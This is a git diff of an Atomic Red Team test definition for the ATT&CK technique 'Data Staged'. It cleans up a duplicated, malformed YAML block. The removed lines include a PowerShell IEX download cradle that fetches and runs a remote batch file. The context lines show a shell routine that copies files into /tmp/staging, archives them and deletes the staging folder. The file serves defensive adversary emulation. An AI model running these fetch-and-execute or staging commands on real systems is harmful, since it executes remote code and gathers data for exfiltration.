diff --git a/atomics/T1074/T1074.yaml b/atomics/T1074/T1074.yaml index a83ae60e..6cf634de 100644 --- a/atomics/T1074/T1074.yaml +++ b/atomics/T1074/T1074.yaml @@ -2,15 +2,6 @@ attack_technique: T1074 display_name: Data Staged -atomic_tests: -- name: Stage data from Discovery.bat - description: | - Utilize powershell to download discovery.bat and save to a local file - - supported_platforms:--- -attack_technique: T1074 -display_name: Data Staged - atomic_tests: - name: Stage data from Discovery.bat description: | @@ -104,10 +95,3 @@ atomic_tests: find {{ path }} -name '*{{ extension }}' -exec cp -prv '{}' '/tmp/staging' ';' tar -zcvf /tmp/staging.tar.gz /tmp/staging/ rm -rf /tmp/staging - - - windows - - executor: - name: powershell - command: | - powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log